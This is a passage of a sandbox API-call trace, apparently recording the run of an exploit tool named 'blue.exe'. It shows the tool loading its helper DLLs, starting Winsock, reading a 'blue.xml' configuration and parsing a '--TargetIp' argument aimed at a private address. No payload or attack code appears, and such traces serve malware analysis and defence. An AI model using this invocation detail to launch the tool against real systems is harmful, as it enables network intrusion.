lpProcName="InterlockedExchange") returned 0x76e21462 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.762] GetModuleHandleA (lpModuleName="exma-1.dll") returned 0x30000 [0095.762] GetProcAddress (hModule=0x30000, lpProcName="disconnectRendezvous") returned 0x312f3 [0095.762] GetProcAddress (hModule=0x30000, lpProcName="closeRendezvous") returned 0x31246 [0095.762] GetProcAddress (hModule=0x30000, lpProcName="sendSockets") returned 0x313f6 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="readParamsFromEM") returned 0x31071 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="writeParamsToEM") returned 0x3112c [0095.763] GetProcAddress (hModule=0x30000, lpProcName="recvSocket") returned 0x31357 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="connectRendezvous") returned 0x31253 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="getDefaultEMFile") returned 0x31028 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="bindRendezvous") returned 0x31153 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="closeEM") returned 0x31000 [0095.763] GetProcAddress (hModule=0x30000, lpProcName="openEMForWriting") returned 0x3102e [0095.763] GetModuleHandleA (lpModuleName="tibe-2.dll") returned 0x73c10000 [0095.763] GetProcAddress (hModule=0x73c10000, lpProcName="TbWinsockCleanup") returned 0x73c41238 [0095.763] GetProcAddress (hModule=0x73c10000, lpProcName="TbWinsockStartup") returned 0x73c411f0 [0095.763] GetModuleHandleA (lpModuleName="trch-1.dll") returned 0xc50000 [0095.763] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_U16_getValue") returned 0xc57f14 [0095.763] GetProcAddress (hModule=0xc50000, lpProcName="Paramgroup_getNumParamchoices") returned 0xc52082 [0095.763] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_matchType") returned 0xc53aa3 [0095.763] GetProcAddress (hModule=0xc50000, lpProcName="Config_getID") returned 0xc52082 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Config_getInputParams") returned 0xc5208f [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Config_getNamespaceUri") returned 0xc520b8 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Config_getSchemaVersion") returned 0xc520e0 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Config_getConstants") returned 0xc52066 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Config_getOutputParams") returned 0xc520c4 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_U16_setValue") returned 0xc57f2c [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_String_create") returned 0xc56b69 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Boolean_create") returned 0xc55cdc [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_hasValue") returned 0xc539a1 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_String_getValue") returned 0xc567f5 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_markInvalid") returned 0xc53a35 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Boolean_getValue") returned 0xc55b0b [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Params_findParamchoice") returned 0xc5495d [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Config_create") returned 0xc521f9 [0095.764] GetProcAddress (hModule=0xc50000, lpProcName="Params_create") returned 0xc54bbd [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Config_setInputParams") returned 0xc521ab [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_LocalFile_create") returned 0xc56cd7 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Params_parseCommandLine") returned 0xc54a00 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Config_delete") returned 0xc5200a [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Params_isValid") returned 0xc546de [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Config_printUsage") returned 0xc520fa [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Params_printInvalid") returned 0xc54738 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_LocalFile_getValue") returned 0xc5688b [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_hasValidValue") returned 0xc539b6 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Paramgroup_getParamchoice") returned 0xc546c3 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Socket_type") returned 0xc566c4 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Scalar_format") returned 0xc54f31 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_matchFormat") returned 0xc53a62 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Socket_getValue") returned 0xc56233 [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Socket_setValue") returned 0xc5624b [0095.765] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Socket_List_getValue") returned 0xc564fb [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Socket_List_setValue") returned 0xc56519 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_removeParameter") returned 0xc54818 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_getNumParameters") returned 0xc52082 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_getParameter") returned 0xc546c3 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_getNumParamchoices") returned 0xc520e0 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_getParamchoice") returned 0xc546a8 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Paramchoice_hasValidValue") returned 0xc5338d [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Paramchoice_getValue") returned 0xc53985 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Paramchoice_getNumParamgroups") returned 0xc52059 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Paramchoice_getParamgroup") returned 0xc53372 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Paramgroup_matchName") returned 0xc54181 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Config_marshal") returned 0xc53103 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Config_unmarshal") returned 0xc592e4 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_findParameter") returned 0xc54999 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_U16_create") returned 0xc581b9 [0095.766] GetProcAddress (hModule=0xc50000, lpProcName="Params_addParameter") returned 0xc5465b [0095.767] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_delete") returned 0xc538a1 [0095.767] GetProcAddress (hModule=0xc50000, lpProcName="Paramgroup_getNumParameters") returned 0xc520ab [0095.767] GetProcAddress (hModule=0xc50000, lpProcName="Paramgroup_getParameter") returned 0xc5410c [0095.767] GetModuleHandleA (lpModuleName="tucl-1.dll") returned 0x73e30000 [0095.767] GetProcAddress (hModule=0x73e30000, lpProcName="TcLog") returned 0x73e3102d [0095.767] GetProcAddress (hModule=0x73e30000, lpProcName="TcLogClose") returned 0x73e3132b [0095.767] GetProcAddress (hModule=0x73e30000, lpProcName="TcLogOpen") returned 0x73e31376 [0095.767] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0095.767] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="exit") returned 0x76b536aa [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="strrchr") returned 0x76b4dbae [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.768] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0095.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f50ae60, dwHighDateTime=0x1d5ca1f)) [0095.768] GetCurrentProcessId () returned 0x108c [0095.768] GetCurrentThreadId () returned 0x1090 [0095.768] GetTickCount () returned 0x11609f0 [0095.768] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23687801223) returned 1 [0095.768] malloc (_Size=0x80) returned 0xea27a0 [0095.774] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.774] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSection") returned 0x77352c42 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="GetExitCodeThread") returned 0x76e3d5b5 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0095.775] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0095.776] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0095.776] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0095.776] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0095.776] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.776] LoadLibraryA (lpLibFileName="coli-0.dll") returned 0x10000000 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="coli_setCleanup") returned 0x10001027 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="coli_create") returned 0x10001000 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="coli_delete") returned 0x10001021 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="mainWrapper") returned 0x10001c21 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="coli_setValidate") returned 0x10001056 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="coli_setID") returned 0x10001036 [0095.776] GetProcAddress (hModule=0x10000000, lpProcName="coli_setProcess") returned 0x10001046 [0095.776] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b40000 [0095.776] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0095.776] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="rand") returned 0x76b4c070 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="gmtime") returned 0x76bc2929 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="toupper") returned 0x76b4f7fa [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="islower") returned 0x76b6f0f7 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="strncat") returned 0x76b70909 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="pow") returned 0x76b6608f [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="memcmp") returned 0x76b57975 [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0095.777] GetProcAddress (hModule=0x76b40000, lpProcName="__getmainargs") returned 0x76b52bc0 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_cexit") returned 0x76b537d4 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_exit") returned 0x76bab2c0 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="exit") returned 0x76b536aa [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="__setusermatherr") returned 0x76bd77ad [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="__p__commode") returned 0x76b527c3 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="__p__fmode") returned 0x76b527ce [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="__set_app_type") returned 0x76b52804 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="?terminate@@YAXXZ") returned 0x76b961cf [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="_controlfp") returned 0x76b4e1e1 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0095.778] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.779] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.779] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.779] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0095.779] GetProcAddress (hModule=0x76b40000, lpProcName="fprintf") returned 0x76b53e00 [0095.779] GetProcAddress (hModule=0x76b40000, lpProcName="abort") returned 0x76ba8e53 [0095.779] GetProcAddress (hModule=0x76b40000, lpProcName="printf") returned 0x76b5c5b9 [0095.779] LoadLibraryA (lpLibFileName="trch-1.dll") returned 0xc50000 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Port_getValue") returned 0xc57f65 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Params_findParameter") returned 0xc54999 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Boolean_setValue") returned 0xc55b23 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Params_findParamchoice") returned 0xc5495d [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Paramchoice_hasValue") returned 0xc533a8 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Paramchoice_getValue") returned 0xc53985 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_hasValue") returned 0xc539a1 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_U32_getValue") returned 0xc586f9 [0095.779] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_S16_getValue") returned 0xc5549a [0095.780] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_IPv4_getValue") returned 0xc56827 [0095.780] GetProcAddress (hModule=0xc50000, lpProcName="Parameter_Boolean_getValue") returned 0xc55b0b [0095.780] LoadLibraryA (lpLibFileName="tucl-1.dll") returned 0x73e30000 [0095.780] GetProcAddress (hModule=0x73e30000, lpProcName="TcLogBuffer") returned 0x73e31115 [0095.780] GetProcAddress (hModule=0x73e30000, lpProcName="TcLog") returned 0x73e3102d [0095.780] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75360000 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0xc) returned 0x7536b131 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x73) returned 0x75363ab2 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x6f) returned 0x753637ad [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x15) returned 0x753641b6 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x8) returned 0x75362d57 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x11) returned 0x7536b6dc [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x12) returned 0x75366989 [0095.780] GetProcAddress (hModule=0x75360000, lpProcName=0x14) returned 0x753634b5 [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0xf) returned 0x75362d8b [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x74) returned 0x75363c5f [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x1) returned 0x753668b6 [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0xd) returned 0x7536b001 [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x2) returned 0x75364582 [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0095.781] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0095.781] VirtualProtect (in: lpAddress=0xf70000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xadfa60 | out: lpflOldProtect=0xadfa60*=0x2) returned 1 [0095.781] VirtualProtect (in: lpAddress=0xf70000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xadfa60 | out: lpflOldProtect=0xadfa60*=0x4) returned 1 [0095.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadfa74 | out: lpSystemTimeAsFileTime=0xadfa74*(dwLowDateTime=0x8f530fc0, dwHighDateTime=0x1d5ca1f)) [0095.781] GetCurrentProcessId () returned 0x108c [0095.781] GetCurrentThreadId () returned 0x1090 [0095.781] GetTickCount () returned 0x1160a00 [0095.782] QueryPerformanceCounter (in: lpPerformanceCount=0xadfa6c | out: lpPerformanceCount=0xadfa6c*=23689150510) returned 1 [0095.782] GetModuleHandleA (lpModuleName=0x0) returned 0xf70000 [0095.782] __set_app_type (_Type=0x1) [0095.782] __p__fmode () returned 0x76be31f4 [0095.782] __p__commode () returned 0x76be31fc [0095.782] GetVersion () returned 0x1db10106 [0095.782] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf864d1) returned 0x0 [0095.782] __getmainargs (in: _Argc=0xf90c74, _Argv=0xf90c7c, _Env=0xf90c78, _DoWildCard=0, _StartInfo=0xf90c88 | out: _Argc=0xf90c74, _Argv=0xf90c7c, _Env=0xf90c78) returned 0 [0095.782] calloc (_Count=0x1, _Size=0x10) returned 0xea28c8 [0095.782] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xadf81c | out: lpWSAData=0xadf81c) returned 0 [0095.941] strlen (_Str="blue.exe") returned 0x8 [0095.941] calloc (_Count=0x9, _Size=0x1) returned 0xea28e0 [0095.941] strlen (_Str="blue.exe") returned 0x8 [0095.941] strlen (_Str=".exe") returned 0x4 [0095.941] strlen (_Str="blue") returned 0x4 [0095.941] calloc (_Count=0x9, _Size=0x1) returned 0xea28f8 [0095.941] strncpy (in: _Dest=0xea28f8, _Source="blue", _Count=0x4 | out: _Dest="blue") returned="blue" [0095.941] _mbscat (in: param_1=0xea28f8, param_2=0x1000320c | out: param_1=0xea28f8) returned 0xea28f8 [0095.941] calloc (_Count=0x1, _Size=0x24) returned 0xea2910 [0095.941] strlen (_Str="blue") returned 0x4 [0095.941] calloc (_Count=0x5, _Size=0x1) returned 0xea2940 [0095.941] _mbscpy (in: param_1=0xea2940, param_2=0xea28e0 | out: param_1=0xea2940) returned 0xea2940 [0095.941] strlen (_Str="") returned 0x0 [0095.941] calloc (_Count=0x1, _Size=0x1) returned 0xea2950 [0095.941] _mbscpy (in: param_1=0xea2950, param_2=0x10003208 | out: param_1=0xea2950) returned 0xea2950 [0095.941] strlen (_Str="urn:trch") returned 0x8 [0095.941] calloc (_Count=0x9, _Size=0x1) returned 0xea2960 [0095.941] _mbscpy (in: param_1=0xea2960, param_2=0xc5c190 | out: param_1=0xea2960) returned 0xea2960 [0095.941] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0095.941] strlen (_Str="2.1.0") returned 0x5 [0095.941] calloc (_Count=0x6, _Size=0x1) returned 0xea2978 [0095.941] _mbscpy (in: param_1=0xea2978, param_2=0xc5c4a0 | out: param_1=0xea2978) returned 0xea2978 [0095.941] calloc (_Count=0x1, _Size=0x1c) returned 0xea2988 [0095.941] strlen (_Str="inputparameters") returned 0xf [0095.942] calloc (_Count=0x10, _Size=0x1) returned 0xea29b0 [0095.942] _mbscpy (in: param_1=0xea29b0, param_2=0x100031f8 | out: param_1=0xea29b0) returned 0xea29b0 [0095.942] strlen (_Str="urn:trch") returned 0x8 [0095.942] calloc (_Count=0x9, _Size=0x1) returned 0xead230 [0095.942] _mbscpy (in: param_1=0xead230, param_2=0xc5c190 | out: param_1=0xead230) returned 0xead230 [0095.942] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0095.942] strlen (_Str="2.1.0") returned 0x5 [0095.942] calloc (_Count=0x6, _Size=0x1) returned 0xead248 [0095.942] _mbscpy (in: param_1=0xead248, param_2=0xc5c4a0 | out: param_1=0xead248) returned 0xead248 [0095.942] calloc (_Count=0x1, _Size=0x4) returned 0xead258 [0095.942] calloc (_Count=0x1, _Size=0x4) returned 0xead268 [0095.942] calloc (_Count=0x1, _Size=0x48) returned 0xead278 [0095.942] strlen (_Str="InConfig") returned 0x8 [0095.942] calloc (_Count=0x9, _Size=0x1) returned 0xead2e0 [0095.942] _mbscpy (in: param_1=0xead2e0, param_2=0x100031d0 | out: param_1=0xead2e0) returned 0xead2e0 [0095.943] strlen (_Str="Location of input XML file") returned 0x1a [0095.943] calloc (_Count=0x1b, _Size=0x1) returned 0xeadac8 [0095.943] _mbscpy (in: param_1=0xeadac8, param_2=0x100031dc | out: param_1=0xeadac8) returned 0xeadac8 [0095.943] strlen (_Str="LocalFile") returned 0x9 [0095.943] calloc (_Count=0xa, _Size=0x1) returned 0xead2f8 [0095.943] _mbscpy (in: param_1=0xead2f8, param_2=0xc5c208 | out: param_1=0xead2f8) returned 0xead2f8 [0095.943] strlen (_Str="Scalar") returned 0x6 [0095.943] calloc (_Count=0x7, _Size=0x1) returned 0xeadaf0 [0095.943] _mbscpy (in: param_1=0xeadaf0, param_2=0xc5c3f8 | out: param_1=0xeadaf0) returned 0xeadaf0 [0095.943] strlen (_Str="urn:trch") returned 0x8 [0095.943] calloc (_Count=0x9, _Size=0x1) returned 0xead310 [0095.943] _mbscpy (in: param_1=0xead310, param_2=0xc5c190 | out: param_1=0xead310) returned 0xead310 [0095.943] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0095.943] strlen (_Str="2.1.0") returned 0x5 [0095.943] calloc (_Count=0x6, _Size=0x1) returned 0xeadb00 [0095.943] _mbscpy (in: param_1=0xeadb00, param_2=0xc5c4a0 | out: param_1=0xeadb00) returned 0xeadb00 [0095.944] calloc (_Count=0x1, _Size=0x10) returned 0xead328 [0095.944] strlen (_Str="blue.xml") returned 0x8 [0095.944] calloc (_Count=0x9, _Size=0x1) returned 0xead340 [0095.944] _mbscpy (in: param_1=0xead340, param_2=0xea28f8 | out: param_1=0xead340) returned 0xead340 [0095.944] strlen (_Str="blue.xml") returned 0x8 [0095.944] calloc (_Count=0x9, _Size=0x1) returned 0xead358 [0095.944] _mbscpy (in: param_1=0xead358, param_2=0xea28f8 | out: param_1=0xead358) returned 0xead358 [0095.944] strlen (_Str="blue.xml") returned 0x8 [0095.944] free (_Block=0x0) [0095.944] _access (_FileName="blue.xml", _AccessMode=0) returned 0 [0095.945] free (_Block=0xea28f8) [0095.945] realloc (_Block=0xead258, _Size=0x8) returned 0xead258 [0095.945] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0095.945] strlen (_Str="--TargetIp") returned 0xa [0095.945] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0095.945] strlen (_Str="--TargetIp") returned 0xa [0095.945] strcmp (_Str1="192.168.0.171", _Str2="--") returned 1 [0095.945] strlen (_Str="192.168.0.171") returned 0xd [0095.945] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4 [0095.945] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0095.945] strlen (_Str="--TargetIp") returned 0xa [0095.945] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0095.945] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1 [0095.945] strlen (_Str="--TargetIp") returned 0xa [0095.945] strcmp (_Str1="192.168.0.171", _Str2="--") returned 1 [0095.945] strlen (_Str="192.168.0.171") returned 0xd [0095.945] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4 [0095.946] strlen (_Str="blue.xml") returned 0x8 [0095.946] calloc (_Count=0x9, _Size=0x1) returned 0xead370 [0095.946] free (_Block=0xea2940) [0095.946] free (_Block=0x0) [0095.946] free (_Block=0x0) [0095.946] free (_Block=0xea2950) [0095.946] free (_Block=0xea2960) [0095.946] free (_Block=0xea2978) [0095.946] free (_Block=0xead230) [0095.946] free (_Block=0xead248) [0095.946] free (_Block=0xea29b0) [0095.946] free (_Block=0xead358) [0095.946] free (_Block=0xead328) [0095.946] free (_Block=0xead310) [0095.947] free (_Block=0xeadb00) [0095.947] free (_Block=0xead2e0) [0095.947] free (_Block=0xeadac8) [0095.947] free (_Block=0xead340) [0095.947] free (_Block=0xead2f8) [0095.947] free (_Block=0xeadaf0) [0095.947] free (_Block=0x0) [0095.947] free (_Block=0x0) [0095.947] free (_Block=0xead278) [0095.947] free (_Block=0xead258) [0095.947] free (_Block=0xead268) [0095.947] free (_Block=0xea2988) [0095.947] free (_Block=0x0) [0095.947] free (_Block=0x0) [0095.947] free (_Block=0xea2910) [0095.947] strcmp (_Str1="blue.xml", _Str2="stdout") returned -1 [0095.947] _open (_FileName="blue.xml" (normalized: "c:\\programdata\\blue.xml"), _OpenFlag=32768) returned 3 [0095.947] _fstat (_FileHandle=3, _Stat=0xadf978) returned 0 [0095.996] calloc (_Count=0x1e67, _Size=0x1) returned 0xeadac8 [0095.996] _read (in: _FileHandle=3, _DstBuf=0xeadac8, _MaxCharCount=0x1e66 | out: _DstBuf=0xeadac8*) returned 7782 [0095.997] strcmp (_Str1="blue.xml", _Str2="stdout") returned -1 [0095.997] _close (_FileHandle=3) returned 0 [0095.997] WaitForSingleObject (hHandle=0x44, dwMilliseconds=0xffffffff) returned 0x0 [0095.997] strlen (_Str="\r\n\r\n \r\n \r\n \r\n 60\r\n \r\n 